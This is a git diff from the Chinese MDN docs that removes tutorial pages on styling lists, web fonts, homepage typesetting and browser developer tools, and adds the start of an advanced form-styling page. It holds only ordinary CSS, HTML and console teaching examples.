{{PreviousMenuNext("Learn/CSS/Styling_text/Styling_lists", "Learn/CSS/Styling_text/Web_fonts", "Learn/CSS/Styling_text")}}

diff --git "a/files/zh-cn/learn/css/\344\270\272\346\226\207\346\234\254\346\267\273\345\212\240\346\240\267\345\274\217/styling_lists/index.html" "b/files/zh-cn/learn/css/\344\270\272\346\226\207\346\234\254\346\267\273\345\212\240\346\240\267\345\274\217/styling_lists/index.html" deleted file mode 100644 index 075b457836..0000000000 --- "a/files/zh-cn/learn/css/\344\270\272\346\226\207\346\234\254\346\267\273\345\212\240\346\240\267\345\274\217/styling_lists/index.html" +++ /dev/null @@ -1,374 +0,0 @@ ---- -title: 样式列表 -slug: Learn/CSS/为文本添加样式/Styling_lists -translation_of: Learn/CSS/Styling_text/Styling_lists ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/CSS/Styling_text/Fundamentals", "Learn/CSS/Styling_text/Styling_links", "Learn/CSS/Styling_text")}}
- -

List列表 大体上和其他文本一样,但是仍有一些你需要知道的特殊CSS属性,和一些可供参考的最佳实践,这篇文章将阐述这一切。

- - - - - - - - - - - - -
前置知识:Basic computer literacy, HTML basics (study Introduction to HTML), CSS basics (study Introduction to CSS), 基本文本和字体样式.
目标:熟悉与列表相关的样式和最佳实践
- -

一个简单的例子

- -

首先,让我们看一个简单的例子。文章中我们将看到无序,有序和描述列表——它们都具有相似的样式特性,而某些特性却又各不相同。Github上有未加载样式的例子(也可以查看源码。)

- -

例子中列表的HTML代码如下:

- -
<h2>Shopping (unordered) list</h2>
-
-<p>Paragraph for reference, paragraph for reference, paragraph for reference,
-paragraph for reference, paragraph for reference, paragraph for reference.</p>
-
-<ul>
-  <li>Humous</li>
-  <li>Pitta</li>
-  <li>Green salad</li>
-  <li>Halloumi</li>
-</ul>
-
-<h2>Recipe (ordered) list</h2>
-
-<p>Paragraph for reference, paragraph for reference, paragraph for reference,
-paragraph for reference, paragraph for reference, paragraph for reference.</p>
-
-<ol>
-  <li>Toast pitta, leave to cool, then slice down the edge.</li>
-  <li>Fry the halloumi in a shallow, non-stick pan, until browned on both sides.</li>
-  <li>Wash and chop the salad.</li>
-  <li>Fill pitta with salad, humous, and fried halloumi.</li>
-</ol>
-
-<h2>Ingredient description list</h2>
-
-<p>Paragraph for reference, paragraph for reference, paragraph for reference,
-paragraph for reference, paragraph for reference, paragraph for reference.</p>
-
-<dl>
-  <dt>Humous</dt>
-  <dd>A thick dip/sauce generally made from chick peas blended with tahini, lemon juice, salt, garlic, and other ingredients.</dd>
-  <dt>Pitta</dt>
-  <dd>A soft, slightly leavened flatbread.</dd>
-  <dt>Halloumi</dt>
-  <dd>A semi-hard, unripened, brined cheese with a higher-than-usual melting point, usually made from goat/sheep milk.</dd>
-  <dt>Green salad</dt>
-  <dd>That green healthy stuff that many of us just use to garnish kebabs.</dd>
-</dl>
- -

现在,如果你去到例子的展示页面,并使用浏览器开发者工具查看那些列表元素,你会注意到若干个默认的样式预设值:

- - - -

处理列表间距

- -

当您创建样式列表时,您需要调整样式,使其保持与周围元素相同的垂直间距(例如段落和图片,有时称为垂直节奏))和相互间的水平间距(您可以在 Github 上参考完成的样式示例 ,也可以找到源代码。)

- -

用于文本样式和间距的CSS如下所示:

- -
/* General styles */
-
-html {
-  font-family: Helvetica, Arial, sans-serif;
-  font-size: 10px;
-}
-
-h2 {
-  font-size: 2rem;
-}
-
-ul,ol,dl,p {
-  font-size: 1.5rem;
-}
-
-li, p {
-  line-height: 1.5;
-}
-
-/* Description list styles */
-
-
-dd, dt {
-  line-height: 1.5;
-}
-
-dt {
-  font-weight: bold;
-}
-
-dd {
-  margin-bottom: 1.5rem;
-}
-
- - - -

列表特定样式

- -

现在我们来看一下列表的一般间距,我们来研究一些列表具有的特定属性。 我们从三个属性开始了解,这三个属性可以在 {{htmlelement("ul")}} 或  {{htmlelement("ol")}} 元素上设置:

- - - -

符号样式

- -

像上面所提及的, {{cssxref("list-style-type")}}  属性允许你设置项目符号点的类型,在我们的例子中,我们在有序列表上设置了大写罗马数字:

- -
ol {
-  list-style-type: upper-roman;
-}
- -

效果显示如下:

- -

an ordered list with the bullet points set to appear outside the list item text.

- -

您可以通过  {{cssxref("list-style-type")}}  参考页面查找到更多选项。

- -

项目符号位置

- -

{{cssxref("list-style-position")}} 设置在每个项目开始之前,项目符号是出现在列表项内,还是出现在其外。 如上所示,默认值为 outside,这使项目符号位于列表项之外。

- -

如果值设置为 inside,项目条目则位于行内。

- -
ol {
-  list-style-type: upper-roman;
-  list-style-position: inside;
-}
- -

an ordered list with the bullet points set to appear inside the list item text.

- -

使用自定义的项目符号图片

- -

{{cssxref("list-style-image")}} 属性允许对于项目符号使用自定义图片。其语法相当简单:

- -
ul {
-  list-style-image: url(star.svg);
-}
- -

然而,这个属性在控制项目符号的位置,大小等方面是有限的。 您最好使用{{cssxref("background")}} 系列属性,您将在 Styling boxes 模块中了解更多信息。在这里我们仅做一点尝试!

- -

结束我们的例子,我们样式化无序列表像这样(放到您之前所见的顶部):

- -
ul {
-  padding-left: 2rem;
-  list-style-type: none;
-}
-
-ul li {
-  padding-left: 2rem;
-  background-image: url(star.svg);
-  background-position: 0 0;
-  background-size: 1.6rem 1.6rem;
-  background-repeat: no-repeat;
-}
- -

我们的所做如下:

- - - -

效果显示如下:

- -

an unordered list with the bullet points set as little star images

- -

list-style 速记

- -

上述提到的三种属性可以用一个单独的速记属性 {{cssxref("list-style")}} 来设置。例如:

- -
ul {
-  list-style-type: square;
-  list-style-image: url(example.png);
-  list-style-position: inside;
-}
- -

可以被如下方式代替:

- -
ul {
-  list-style: square url(example.png) inside;
-}
- -

属性值可以任意顺序排列,你可以设置一个,两个或者三个值(该属性的默认值为 disc, none, outside),如果指定了 type 和 image,如果由于某种原因导致图像无法加载,则 type 将用作回退。

- -

管理列表计数

- -

有时,您可能想在有序列表上进行不同的计数方式。例如: 从1以外的数字开始,或向后倒数,或者按步或多于1计数。HTML和CSS有一些工具可以帮助您

- -

start

- -

{{htmlattrxref("start","ol")}} 属性允许你从1 以外的数字开始计数。示例如下:

- -
<ol start="4">
-  <li>Toast pitta, leave to cool, then slice down the edge.</li>
-  <li>Fry the halloumi in a shallow, non-stick pan, until browned on both sides.</li>
-  <li>Wash and chop the salad.</li>
-  <li>Fill pitta with salad, humous, and fried halloumi.</li>
-</ol>
- -

输出的结果如下:

- -

{{ EmbedLiveSample('start', '100%', 150) }}

- -

reversed

- -

{{htmlattrxref("reversed","ol")}} 属性将启动列表倒计数。示例如下:

- -
<ol start="4" reversed>
-  <li>Toast pitta, leave to cool, then slice down the edge.</li>
-  <li>Fry the halloumi in a shallow, non-stick pan, until browned on both sides.</li>
-  <li>Wash and chop the salad.</li>
-  <li>Fill pitta with salad, humous, and fried halloumi.</li>
-</ol>
- -

输出的结果如下:

- -

{{ EmbedLiveSample('reversed', '100%', 150) }}

- -

value

- -

{{htmlattrxref("value","ol")}} 属性允许设置列表项指定数值,示例如下:

- -
<ol>
-  <li value="2">Toast pitta, leave to cool, then slice down the edge.</li>
-  <li value="4">Fry the halloumi in a shallow, non-stick pan, until browned on both sides.</li>
-  <li value="6">Wash and chop the salad.</li>
-  <li value="8">Fill pitta with salad, humous, and fried halloumi.</li>
-</ol>
- -

输出的结果如下:

- -

{{ EmbedLiveSample('value', '100%', 150) }}

- -
-

注意: 纵然你使用非数字的 {{cssxref("list-style-type")}}, 你仍需要使用与数值同等意义的值作为 value 的属性。

-
- -

主动学习: 为嵌套式列表添加样式

- -

在该学习环节,我们希望你使用如上所学尝试为一个嵌套式列表添加样式。我们已经提供了 HTML , 在此之上请完成如下:

- -
    -
  1. 为该无序列表提供方形项目符号。
  2. -
  3. 为该无序列表项和有序列表项提供基于其字体大小 1.5 的行高。
  4. -
  5. 为有序列表提供小写字母的项目符号。
  6. -
  7. 对列表进行自由发挥,尝试不同的项目符号类型,间距,以及其他的各种属性。
  8. -
- -

如果犯了错误,可以随时点击 Reset(重置) 按钮进行重新设置。如果你真的遇到困难无法继续下去,点击 Show solution(显示解决方案)按钮查看可行的解决方案。

- - - -

{{ EmbedLiveSample('Playable_code', 700, 800) }}

- -

另请参阅

- -

CSS计数器提供用于自定义列表计数和样式的高级工具,但它们相当复杂。 如果你想更深入了解,请查看如下资源:

- - - -

总结

- -

一旦你掌握一些相关的基础原则和特定属性,列表的样式还是相对容易理解的。在下篇文章中我们将转到另一话题——为链接提供样式的各种技巧。

- -

{{PreviousMenuNext("Learn/CSS/Styling_text/Fundamentals", "Learn/CSS/Styling_text/Styling_links", "Learn/CSS/Styling_text")}}

diff --git "a/files/zh-cn/learn/css/\344\270\272\346\226\207\346\234\254\346\267\273\345\212\240\346\240\267\345\274\217/typesetting_a_homepage/index.html" "b/files/zh-cn/learn/css/\344\270\272\346\226\207\346\234\254\346\267\273\345\212\240\346\240\267\345\274\217/typesetting_a_homepage/index.html" deleted file mode 100644 index 98f86f125f..0000000000 --- "a/files/zh-cn/learn/css/\344\270\272\346\226\207\346\234\254\346\267\273\345\212\240\346\240\267\345\274\217/typesetting_a_homepage/index.html" +++ /dev/null @@ -1,119 +0,0 @@ ---- -title: 作业:排版社区大学首页 -slug: Learn/CSS/为文本添加样式/Typesetting_a_homepage -tags: - - CSS - - 初学者 - - 字体 - - 样式化文本 - - 网络字体 - - 链接 -translation_of: Learn/CSS/Styling_text/Typesetting_a_homepage ---- -
{{LearnSidebar}}
- -
{{PreviousMenu("Learn/CSS/Styling_text/Web_fonts", "Learn/CSS/Styling_text")}}
- -

在本测评中,通过对社区学校主页的文本样式化,我们会测试你对所有本模块涉及到的文本样式化技术的理解。你或许也会从中获得乐趣。

- - - - - - - - - - - - -
预备条件:在本次测评前,你应该完成了本模块所有章节。
目标:测试对CSS文本样式化技术的理解。
- -

开始

- -

在本测评开始前,你应该:

- - - -
-

注意: 或者,你可以使用像 JSBin 或 Thimble 的网站完成你的测评。你可以把HTML和CSS粘贴到在线编辑器中,并使用this URL指定背景图像。如果你使用的在线编辑器没有单独的CSS面板,你可以将其放在HTML文件的<style>元素中。

-
- -

项目简介

- -

你有一个虚构的社区大学主页的未处理HTML文件和一些CSS文件。这些CSS文件把网页分成两栏布局,提供了一些简单的样式化。你将在CSS文件底部的comment下写你的CSS,这样可以方便地标出你的工作。不要担心选择器一直重复;我们会帮你跳过这个问题。

- -

字体:

- - - -

文本样式化基础:

- - - -

链接:

- - - -

列表:

- - - -

导航栏菜单:

- - - -

提示与技巧

- - - -

实例

- -

下图展示了其中一种设计完成后的例子。

- -

- -

测评

- -

如果你将本测评作为课程的一部分,你应该能够将你的作品交给你的老师/指导员打分。如果你是自学的,你可以很轻松地在discussion thread for this exercise,或者Mozilla IRC#mdn IRC 频道上获得打分。先尝试完成本次练习——作弊是学不到任何东西的!

- -

{{PreviousMenu("Learn/CSS/Styling_text/Web_fonts", "Learn/CSS/Styling_text")}}

- -

在本单元中

- - diff --git "a/files/zh-cn/learn/css/\344\270\272\346\226\207\346\234\254\346\267\273\345\212\240\346\240\267\345\274\217/web_\345\255\227\344\275\223/index.html" "b/files/zh-cn/learn/css/\344\270\272\346\226\207\346\234\254\346\267\273\345\212\240\346\240\267\345\274\217/web_\345\255\227\344\275\223/index.html" deleted file mode 100644 index ad9691cb00..0000000000 --- "a/files/zh-cn/learn/css/\344\270\272\346\226\207\346\234\254\346\267\273\345\212\240\346\240\267\345\274\217/web_\345\255\227\344\275\223/index.html" +++ /dev/null @@ -1,186 +0,0 @@ ---- -title: Web 字体 -slug: Learn/CSS/为文本添加样式/Web_字体 -translation_of: Learn/CSS/Styling_text/Web_fonts ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/CSS/Styling_text/Styling_links", "Learn/CSS/Styling_text/Typesetting_a_homepage", "Learn/CSS/Styling_text")}}
- -

在模块的第一篇文章中,我们探讨了用于样式化字体和文本的基本CSS特性。在这篇文章中,我们将更进一步,详细地探索web字体——它们允许您下载自定义字体和您的web页面,以允许更多不同的、自定义的文本样式。

- - - - - - - - - - - - -
预备知识:基本计算机素养,HTML 基础 (学习 Introduction to HTML), CSS 基础 (学习Introduction to CSS), CSS文本和字体基础
目标:学习如何将web字体应用到web页面,使用第三方服务,或者编写自己的代码。
- -

字体种类回顾

- -

正如我们在基本文本和字体样式中所看到的那样,应用到您的HTML的字体可以使用 {{cssxref("font-family")}}属性来控制。您需要提供一个或多个字体种类名称,浏览器会在列表中搜寻,直到找到它所运行的系统上可用的字体。

- -
p {
-  font-family: Helvetica, "Trebuchet MS", Verdana, sans-serif;
-}
- -

这个系统运行良好,但是对于传统的web开发人员来说,字体选择是有限的。只有少数几种字体可以保证兼容所有流行的操作系统——这就是所谓的 Web-safe 字体。您可以使用字体堆栈来指定可选择的字体,后面是Web-safe的替代选项,然后是默认的系统字体,但是为了确保您的设计在每种字体中都显示正常,这样增加了测试的开销。

- -

Web 字体

- -

但是还有一种选择,它非常有效,回到IE版本6。Web字体是一种CSS特性,允许您指定在访问时随您的网站一起下载的字体文件,这意味着任何支持Web字体的浏览器都可以使用您指定的字体。太酷啦!所需的语法如下所示:

- -

首先,在CSS的开始处有一个{{cssxref("@font-face")}}块,它指定要下载的字体文件:

- -
@font-face {
-  font-family: "myFont";
-  src: url("myFont.ttf");
-}
-
- -

在这个下面,你可以使用@font-face中指定的字体种类名称来将你的定制字体应用到你喜欢的任何东西上,比如说:

- -
html {
-  font-family: "myFont", "Bitstream Vera Serif", serif;
-}
- -

语法确实比这更复杂,下面我们将详细介绍。

- -

关于网页字体有两件重要的事情要记住:

- -
    -
  1. 浏览器支持不同的字体格式,因此您需要多种字体格式以获得良好的跨浏览器支持。例如,大多数现代浏览器都支持WOFF / WOFF2(Web Open Font Format versions 1 and 2,Web开放字体格式版本1和2),它是最有效的格式,但是旧版本IE只支持EOT (Embedded Open Type,嵌入式开放类型)的字体,你可能需要包括一个SVG版本的字体支持旧版本的iPhone和Android浏览器。我们将向您展示如何生成所需的代码。
  2. -
  3. 字体一般都不能自由使用。您必须为他们付费,或者遵循其他许可条件,比如在代码中(或者在您的站点上)提供字体创建者。你不应该在没有适当的授权的情况下偷窃字体。
  4. -
- -
-

注意: Web字体作为一种技术从 Internet Explorer 4 开始就得到了的支持!

-
- -

自主学习:web字体示例

- -

记住这一点,让我们从最初的原则构建一个基本的web字体示例。使用嵌入的live示例很难演示这一点,因此,我们希望您按照下面几节中详细介绍的步骤来了解这个过程。

- -

你应该使用 web-font-start.htmlweb-font-start.css 文件作为开始添加到你的代码中(又见预览版。)现在,在你的电脑上的一个新目录中复制这些文件。在 web-font-start.css文件中,您将找到一些最小的CSS来处理这个示例的基本布局和排版。

- -

查找字体

- -

对于本例,我们将使用两种web字体,一种用于标题,另一种用于正文文本。首先,我们需要找到包含字体的字体文件。字体是由字体铸造厂创建的,并且存储在不同的文件格式中。
- 通常有三种类型的网站可以获得字体:

- - - -

让我们找到一些字体!前往Font Squirrel 并选择两种字体——一种用于标题的有趣的字体(可能是一种不错的显示字体或无衬线字体),和一种用于段落,稍微不那么华丽,更易于阅读的字体。当您找到每种字体时,按下下载按钮,并将该文件保存在与您先前保存的HTML和CSS文件相同的目录中。无论它们是TTF(True Type Fonts))还是OTF(Open Type字体)都不重要。

- -

在每种情况下,都要解压字体包(Web字体通常分布在包含字体文件和许可信息的ZIP文件中。)您可能会在包中发现多个字体文件,一些字体是作为一个具有不同变体的家庭分布的,例如,瘦、中、粗体、斜体、斜体等等。对于这个例子,我们只是想让您自己考虑一个单一的字体文件。

- -
-

注意: 在右边栏的“查找字体”部分中,您可以单击不同的标记和分类来筛选显示的选项。

-
- -

生成所需代码

- -

现在您需要生成所需的代码(以及字体格式)。对于每种字体,遵循以下步骤:

- -
    -
  1. 确保您已经满足了任何许可证的要求,如果您打算在一个商业和/或Web项目中使用它。
  2. -
  3. 前往 Fontsquirrel Webfont Generator.
  4. -
  5. 使用上传字体按钮上传你的两个字体文件。
  6. -
  7. 勾选复选框,“是的,我上传的字体符合网络嵌入的合法条件。
  8. -
  9. 点击下载你的套件(kit)。
  10. -
- -

在生成器完成处理之后,您应该得到一个ZIP文件,将它保存在与HTML和CSS相同的目录中。

- -

在演示中实现代码

- -

在这一点上解压您刚刚生成的webfont套件。在解压的目录中,您将看到三个有用的条目:

- - - -

要在演示中实现这些字体,请遵循以下步骤:

- -
    -
  1. 将解压缩的目录重命名为简易的目录,比如fonts
  2. -
  3. 打开 stylesheet.css 文件,把包含在你的网页中的 @font-face块复制到你的 web-font-start.css 文件—— 你需要把它们放在最上面,在你的CSS之前,因为字体需要导入才能在你的网站上使用。
  4. -
  5. 每个url()函数指向一个我们想要导入到我们的CSS中的字体文件——我们需要确保文件的路径是正确的,因此,在每个路径的开头添加fonts/ (必要时进行调整)。
  6. -
  7. 现在,您可以在字体栈中使用这些字体,就像任何web安全或默认的系统字体一样。
    - 例如: -
    font-family: 'zantrokeregular', serif;
    -
  8. -
- -

你应该得到一个演示页面,上面有一些漂亮的字体。因为不同字体的字体大小不同,你可能需要调整大小、间距等,以区分外观和感觉。

- -

- -
-

注意:如果对于要让它正常工作您有任何问题,可以自由地将您的版本与我们完成的文件进行比较——见 web-font-finished.html 和 web-font-finished.css (运行完成的示例)。

-
- -

使用在线字体服务

- -

在线字体服务通常会为你存储和服务字体,这样你就不用担心写@font-face代码了,通常只需要在你的网站上插入一两行代码就可以让一切都运行。例子包括Typekit 和Cloud.typography。大多数这些服务都是基于订阅的,除了Google Fonts,这是一个有用的免费服务,特别是对于快速的测试工作和编写演示。

- -

大多数这些服务都很容易使用,所以我们不会详细地介绍它们。让我们快速浏览一下Google Fonts,这样你就能明白它的意思了。再次的,使用web-font-start.htmlweb-font-start.css a的副本作为你的开始。

- -
    -
  1. 前往 Google Fonts.
  2. -
  3. 使用左边的过滤器来显示你想要选择的字体类型,并选择一些你喜欢的字体。
  4. -
  5. 要选择字体种类,按下按钮旁边的 ⊕ 按钮。
  6. -
  7. 当您选择好字体种类时,按下页面底部的[Number] 种类选择。
  8. -
  9. 在生成的屏幕中,首先需要复制所显示的HTML代码行,并将其粘贴到HTML文件的头部。将其置于现有的{{htmlelement("link")}}元素之上,使得字体是导入的,然后在你的CSS中使用它。
  10. -
  11. 然后,您需要将CSS声明复制到您的CSS中,以便将自定义字体应用到您的HTML。
  12. -
- -
-

注意:如果你需要对比我们的,你可以在 google-font.htmlgoogle-font.css找到完整版本的。(见预览版

-
- -

关于@font-face的更多细节

- -

让我们来探索由fontsquirrel为您生成的@font-face语法。这是其中一个块的样子:

- -
@font-face {
-  font-family: 'ciclefina';
-  src: url('fonts/cicle_fina-webfont.eot');
-  src: url('fonts/cicle_fina-webfont.eot?#iefix') format('embedded-opentype'),
-         url('fonts/cicle_fina-webfont.woff2') format('woff2'),
-         url('fonts/cicle_fina-webfont.woff') format('woff'),
-         url('fonts/cicle_fina-webfont.ttf') format('truetype'),
-         url('fonts/cicle_fina-webfont.svg#ciclefina') format('svg');
-  font-weight: normal;
-  font-style: normal;
-}
- -

这被称为"bulletproof @font-face syntax(刀枪不入的@font-face语法)", 这是 Paul Irish早期的一篇文章提及后@font-face开始流行起来 (Bulletproof @font-face Syntax。让我们来看看它是怎么做的:

- - - -
-

注意:您还可以为您的web字体指定特定的{{cssxref("font-variant")}} 和 {{cssxref("font-stretch")}} )值。在较新的浏览器中,您还可以指定一个{{cssxref("unicode-range")}}值,这是一个您需要使用什么web字体的特定范围的字符——在支持浏览器中,只有指定的字符才会被下载,省去了不必要的下载。Drew McLellan写的Creating Custom Font Stacks with Unicode-Range在如何利用这个问题上提供了一些有用的建议。

-
- -

总结

- -

既然您已经完成了我们关于文本样式基础的文章,现在是时候用我们对模块的评估来测试您的理解了,为社区学校的主页进行排版。

- -

{{PreviousMenuNext("Learn/CSS/Styling_text/Styling_links", "Learn/CSS/Styling_text/Typesetting_a_homepage", "Learn/CSS/Styling_text")}}

diff --git a/files/zh-cn/learn/discover_browser_developer_tools/index.html b/files/zh-cn/learn/discover_browser_developer_tools/index.html deleted file mode 100644 index 69081b9745..0000000000 --- a/files/zh-cn/learn/discover_browser_developer_tools/index.html +++ /dev/null @@ -1,230 +0,0 @@ ---- -title: 什么是浏览器开发者工具? -slug: Learn/Discover_browser_developer_tools -tags: - - 开发工具 - - 调试 -translation_of: Learn/Common_questions/What_are_browser_developer_tools ---- -
-

每一个现代网络浏览器都包含一套强大的开发工具套件。这些工具可以检查当前加载的HTML、CSS和JavaScript,显示每个资源页面的请求以及载入所花费的时间。本文阐述了如何利用浏览器的开发工具的基本功能。

-
- -
-

注意:在你运行下面的例子之前,打开我们在Web开发入门系列文章中建立的初学者示例网站。你应该按照下面的步骤打开。

-
- -

如何在浏览器中打开开发者工具

- -

开发者工具内置在您的浏览器的子窗口之中,大概像这样:

- -

- -

如何打开它?有三种方式:

- - - -

- -

检查器(Inspector):DOM 浏览器和CSS编辑器

- -

开发者工具在打开时默认为检查器页面,如下图所示。这个工具可以让你看到你的网页的HTML运行时的样子,以及哪些CSS规则被应用到了页面上元素。它还允许您立即修改HTML和CSS并在浏览器中实时观察修改的结果。

- -

- -

如果你看不到调试器,

- - - -

探索DOM检查器

- -

首先在DOM检查器中右键单击(按Ctrl点击)一个HTML元素,看上下文菜单。菜单选项各不相同,但主要功能是相同的:

- -

- - - -

现在试着编辑一些你的DOM。双击元素,或在页面内容里右键单击它并选择编辑HTML。你可以做出任何你想要的改变,但你不能保存。

- -

探索CSS编辑器

- -

默认情况下,CSS编辑器显示当前所选元素应用的CSS规则:

- -

这些功能特别有用:

- - - -

您会注意到CSS查看器顶部的一些可点击的选项卡:

- - - -

了解更多

- -

了解更多Inspector在不同的浏览器中的细节:

- - - -

JavaScript调试器

- -

你可在JavaScript调试器中查看变量的值,或者设置断点。断点的作用是让程序在你指定的位置暂停,以便你来调试程序并确定问题所在。

- -

- -

如何打开调试器:

- -

火狐,谷歌,IE,Edge:F12

- -

Safari:开打开发者工具,然后选择 "Debugger" 标签。

- -

尝一尝调试器的味

- -

火狐的调试器有三个面板

- -

文件列表

- -

第一个面板位于左边,它包涵着你正在调试的网页的文件列表。从列表中选中你要操作的文件。通过点击选中一个文件,可以在调试中间的面板看到它的内容。

- -

- - - -

源码

- -

在你想要停止执行的位置设置间断点。在下面图片中,高亮的第18行就是被设置的断点。

- -

- -

“监视表达示”和“断点”

- -

右边的面板会显示你添加的监视表达示与断点。

- -

在下图中,第一个区域,监视表达示,显示了变量 listItem 已经被添加,你可以展开列表查看里面的值。

- -

接下来的部分,断点 标签,列出了页面上设置的断点。在 example.js(上上个图中)中,一个断点被定位在语句 listItems.push(inputNewItem.value); 上。

- -

最后两个部分,只在代码运行时才出现。

- -

调用栈 区向你显示哪个代码执行后会达到当前行。你能看到代码处理了一次鼠标点击后,停在了断点处。

- -

最后一部分,Scopes,显示了在代码执行过程中,可见变量值的变化。例如,在下面图片中,你可以看到对像在addItemClick函数中是如何变化的。

- - - -

- -

再了解一些

- -

了解不同浏览器中的JavaScript调试器:

- - - -

JavaScript控制台  

- -

JavaScript控制台是一个非常有用的工具,用于调试没有按预期运行的JavaScript。它允许您针对浏览器当前加载的页面运行JavaScript行,并报告浏览器尝试执行代码时遇到的错误。要在任何浏览器中访问控制台,只需按控制台按钮。 (在Internet Explorer中,按Ctrl + 2.)这将给你一个如下所示的窗口:

- -

- -

要查看会发生什么,请尝试逐个输入以下代码片段(然后按Enter键):

- -
    -
  1. -
    alert('hello!');
    -
  2. -
  3. -
    document.querySelector('html').style.backgroundColor = 'purple';
    -
  4. -
  5. -
    var my_image = document.createElement('img');
    -
    -//下面的url已经不再可用,这里注释掉,后面补上了一个可以url
    -//且myImage在文章开始给的“初学者示例网址”存在声明冲突,所以改为my_image
    -//myImage.setAttribute('src','https://farm4.staticflickr.com/3455/3372925208_e1f2aae4e3_b.jpg');
    -my_image.setAttribute('src','https://media.giphy.com/media/3o6ozhxFlr4Ung40RG/giphy.gif');
    -
    -document.querySelector('h1').appendChild(my_image);
    -
  6. -
- -

现在尝试输入以下错误的代码版本,看看你得到什么。

- -
    -
  1. -
    alert('hello!);
    -
  2. -
  3. -
    document.cheeseSelector('html').style.backgroundColor = 'purple';
    -
  4. -
  5. -
    var my_Image = document.createElement('img');
    -myBanana.setAttribute('src','https://media.giphy.com/media/3o6ozhxFlr4Ung40RG/giphy.gif');
    -document.querySelector('h1').appendChild(my_Image);
    -
  6. -
- -

您将开始看到浏览器返回的错误类型。通常这些错误是相当神秘的,但是应该很简单的把这些问题解决出来!

- -

了解更多

- -

了解更多JavaScript控制台在不同浏览器中的细节:

- - - -

 参见

- - diff --git a/files/zh-cn/learn/forms/advanced_form_styling/index.html b/files/zh-cn/learn/forms/advanced_form_styling/index.html new file mode 100644 index 0000000000..94128b7229 --- /dev/null +++ b/files/zh-cn/learn/forms/advanced_form_styling/index.html @@ -0,0 +1,467 @@ +--- +title: 高级设计 HTML 表单 +slug: Learn/HTML/Forms/Advanced_styling_for_HTML_forms +translation_of: Learn/Forms/Advanced_form_styling +--- +
{{LearnSidebar}}{{PreviousMenuNext("Learn/HTML/Forms/Styling_HTML_forms", "Learn/HTML/Forms/Property_compatibility_table_for_form_widgets", "Learn/HTML/Forms")}}
+ +

在本文中,我们将看到HTML表单怎样使用CSS装饰难以定制的表单小部件。如前面章节所示,文本域和按钮完全可以使用CSS,现在我们将深入探索HTML表单样式。

+ +

在继续之前,让我们回忆一下两种表单小部件:

+ +
+
bad
+
这个元素很难设计,需要一些复杂的技巧,有时还涉及到高级的CSS3的知识。
+
ugly
+
忘记使用CSS来设计这些元素吧。你最多能做一点点事情,还不能保证可以跨浏览器,而且在它们出现时永远不能做到完全的受控。
+
+ +

CSS表现力

+ +

除了文本框和按钮之外,使用其他表单小部件的主要问题是在许多情况下,CSS的表现不能满足设计复杂的小部件的要求。

+ +

HTML和CSS最新的发展扩展了CSS的表现力:

+ + + +

所有这一切是一个好的开端,但是有两个问题。首先,一些浏览器不需要实现CSS 2.1之上的特性。其次在设计像日期选择器这样的复杂的小部件时,这些实在不够好。

+ +

浏览器厂家在CSS表现力在表单方面的扩展做了一些尝试,在某些情况下,知道什么可用也挺不错的。

+ +
+

警告: 尽管 这些尝试很有趣,但它们是非标准的,也就是不可靠的。. 如果你使用它们(也许你并不常用),你要自己承担风险,使用非标准的属性对于Web并不是好事

+
+ + + +

控制表单元素的外观

+ +

基于WebKit(Chrome, Safari)和 Gecko(Firefox)的浏览器提供更高级的HTML部件定制。它们也实现了跨平台,因此需要一种方式把原生小部件转换为用户可设置样式的小部件。

+ +

为此,它们使用了专有属性:{{cssxref("-webkit-appearance")}}或{{cssxref("-moz-appearance")}}。这些属性是非标准的,不应该使用。事实上,它们在WebKit 和Gecko中的表现也是不相同的。然而,有一个值很好用:none,用这个值,你(几乎完全)能控制一个已知小部件的样式。

+ +

因此,如果你在应用一个元素的样式时遇到麻烦,可以尝试使用那些专有属性。我们下面有一些例子,这个属性最成功的例子是WebKit浏览器中的搜索域的样式:

+ +
<form>
+    <input type="search">
+</form>
+ +
<style>
+input[type=search] {
+    border: 1px dotted #999;
+    border-radius: 0;
+
+    -webkit-appearance: none;
+}
+</style>
+ +

{{EmbedLiveSample("Controlling_the_appearance_of_form_elements", 250, 40)}}

+ +
+

注意:当我们谈及Web技术的时总是很难预测未来。扩展CSS表现力是很困难的,其他规范也做了一些探索性的工作,如Shadow DOM提供了一些观点。可完全设置样式的表单的问题还远未结束。

+
+ +

举例

+ +

复选框和单选按钮

+ +

独自设计复选框或单选按钮的样式是让人抓狂的。例如由于浏览器反应各不相同,在修改复选框和单选按钮的大小时,并不保证确实能改变它们。

+ +

一个简单的测试用例

+ +

让我们研究一下下面的测试用例:

+ +
<span><input type="checkbox"></span>
+ +
span {
+    display: inline-block;
+    background: red;
+}
+
+input[type=checkbox] {
+    width : 100px;
+    height: 100px;
+}
+ +

这里是不同的浏览器的处理方式:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
浏览器视图
Firefox 57 (Mac OSX)
Firefox 57 (Windows 10)
Chrome 63 (Mac OSX)
Chrome 63 (Windows 10)
Opera 49 (Mac OSX)
Internet Explorer 11 (Windows 10)
Edge 16 (Windows 10)
+ +

更复杂的例子

+ +

由于Opera和Internet Explorer没有像{{cssxref("-webkit-appearance")}}或{{cssxref("-moz-appearance")}}这样的特性,使用它们是不合适的。幸运的是,CSS有足够多的表现方式可以找到解决方法。让我们做一个很普通的例子:

+ +
<form>
+  <fieldset>
+    <p>
+      <input type="checkbox" id="first" name="fruit-1" value="cherry">
+      <label for="first">I like cherry</label>
+    </p>
+    <p>
+      <input type="checkbox" id="second" name="fruit-2" value="banana" disabled>
+      <label for="second">I can't like banana</label>
+    </p>
+    <p>
+      <input type="checkbox" id="third" name="fruit-3" value="strawberry">
+      <label for="third">I like strawberry</label>
+    </p>
+  </fieldset>
+</form>
+ +

带有一些基本的样式:

+ +
body {
+  font: 1em sans-serif;
+}
+
+form {
+  display: inline-block;
+
+  padding: 0;
+  margin : 0;
+}
+
+fieldset {
+  border : 1px solid #CCC;
+  border-radius: 5px;
+  margin : 0;
+  padding: 1em;
+}
+
+label {
+  cursor : pointer;
+}
+
+p {
+  margin : 0;
+}
+
+p+p {
+  margin : .5em 0 0;
+}
+ +
+

注:下面的内容(仅限样式化 checkbox 部分)与英文版出入极大,猜测已经是过时内容

+
+ +

现在,让我们设计一个定制复选框的样式

+ +

计划用自己的图像替换原生的复选框,首先需要准备复选框在所有状态下的图像,那些状态是:未选、已选、禁用不选、禁用已选。该图像将用作CSS精灵:

+ +

Check box CSS Sprite

+ +

